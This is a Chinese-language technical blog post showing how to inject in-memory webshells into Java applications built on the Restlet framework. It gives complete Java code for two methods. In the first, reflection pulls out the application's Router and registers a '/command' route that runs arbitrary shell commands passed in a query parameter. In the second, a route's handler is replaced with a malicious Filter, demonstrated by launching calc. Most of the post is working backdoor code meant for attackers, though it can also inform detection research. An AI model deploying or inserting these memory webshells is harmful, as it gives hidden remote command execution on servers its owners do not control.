介绍
Restlet框架是使用最广泛的开源框架,为想要创建和使用API的Java开发人员提供的解决方案。https://restlet.github.io/downloads/current/
demo
根据官方文档资料,通过如下代码写一个简单应用:
public class HelloWorldApplication extends Application {
@Override
public Restlet createInboundRoot() {
Router router = new Router(getContext());
router.attach("/hello", HelloWorldResource.class);
return router;
}
public static void main(String[] args) throws Exception {
Component component = new Component();
component.getServers().add(Protocol.HTTP, 12345);
component.getDefaultHost().attach(new HelloWorldApplication());
component.start();
}
public static class HelloWorldResource extends ServerResource {
@Get
public String represent() throws ResourceException {
return "Hello, World!";
}
}
}
router内存马
观察上面的demo,通过router.attach("/hello", HelloWorldResource.class);将该路由进行注册,那在实际构造内存马中,只要能获取这个router实例,便可以调用attach注册路由了,首先用java-object-searcher搜一下:
发现在inboundRoot属性中有org.restlet.routing.Router实例,但是通用性不强,接着便想到是不是有可以直接获取上下文环境的接口,发现了getContext和getCurrent都可以:
接着便可以反射调用了:
先注册添加接口:
router.attach("/addroutermemshell", AddRouterMemshellResource.class);
然后写反射:
public static class AddRouterMemshellResource extends ServerResource {
@Get
public String represent() throws ResourceException{
// Application application = getCurrent();
// Router router = (Router) getFieldValue(application, "inboundRoot");
Context context = getContext();
Object o = getFieldValue(context, "child");
Router router = (Router) getFieldValue(o, "inboundRoot");
router.attach("/command",CommandResource.class);
return "router memshell added successfully!";
}
}
public static class CommandResource extends ServerResource {
@Get
public String represent() throws ResourceException {
String command = getQueryValue("command");
if (command == null || command.isEmpty()) {
setStatus(Status.CLIENT_ERROR_BAD_REQUEST);
return "No command provided!";
}
String os = System.getProperty("os.name").toLowerCase();
String finalCommand;
// 根据操作系统选择命令
if (os.contains("win")) {
finalCommand = "cmd /c " + command; // Windows
} else {
finalCommand = "/bin/sh -c " + command; // Linux
}
StringBuilder output = new StringBuilder();
try {
Process process = Runtime.getRuntime().exec(finalCommand);
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
process.waitFor();
} catch (IOException | InterruptedException e) {
e.printStackTrace();
return "Error executing command: " + e.getMessage();
}
return output.toString();
}
}
public static Object getFieldValue(Object obj, String fieldName) {
if (obj == null || fieldName == null || fieldName.isEmpty()) {
return null;
}
Class<?> clazz = obj.getClass();
// 循环查找当前类及其父类
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true); // 允许访问私有字段
return field.get(obj);
} catch (NoSuchFieldException e) {
// 如果当前类没有这个字段,继续查找父类
clazz = clazz.getSuperclass();
} catch (IllegalAccessException e) {
e.printStackTrace();
return null;
}
}
// 如果未找到,返回 null
return null;
}
正常这个路由是没东西的:
添加内存马:
访问成功:
filter内存马
Restlet中也有filter的实现,但是这个filter得自定义,因此将开头的HelloWorldApplication修改一下:
public Restlet createInboundRoot() {
Router router = new Router(getContext());
// router.attach("/hello", HelloWorldResource.class);
// router.attach("/addfiltermemshell", AddfilterMemshell.class);
// return router;
MyFilter filter = new MyFilter();
filter.setNext(HelloWorldResource.class);
router.attach("/hello",filter);
// router.attach("/hello",HelloWorldResource.class);
return router;
}
public static class MyFilter extends Filter {
@Override
protected int beforeHandle(Request request, Response response) {
// 在请求处理之前执行的逻辑
System.out.println("Incoming request: " + request.getResourceRef());
return CONTINUE;
}
@Override
protected void afterHandle(Request request, Response response) {
// 在请求处理之后执行的逻辑
System.out.println("Outgoing response: " + response.getStatus());
}
}
自定义了一个filter,用setNext方法设置资源为自定义的类,然后在HelloWorldResource类中写一行Application current = getCurrent();下断调试一下:
发现获取的Router实例中有个routes的list,其size代表了注册的路由个数,每个元素都是一个TemplateRoute实例,其next属性则是我们自定义的filter,那这里是不是可以根据调用链将TemplateRoute实例的next属性设置为恶意的filter实现针对具体某个路由呢(或者全部)?
这里测试针对/hello这个路由(共有两个路由/hello /test):
public static class AddfilterMemshell extends ServerResource {
@Get
public String represent() throws ResourceException{
// Application application = getCurrent();
// Router router = (Router) getFieldValue(application, "inboundRoot");
Application application = getCurrent();
Router router = (Router) getFieldValue(application, "inboundRoot");
RouteList routes = (RouteList) getFieldValue(router, "routes");
for (Route route: routes){
Object template = getFieldValue(route, "template");
String pattern = (String) getFieldValue(template, "pattern");
if (pattern.equals("/hello")){
route.setNext(new MemshellFilter());
}
}
return "filter memshell added successfully!";
}
}
public static class MemshellFilter extends Filter {
@Override
protected int beforeHandle(Request request, Response response) {
// 在请求处理之前执行的逻辑
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
return CONTINUE;
}
}
运行结果:
仅对/hello触发: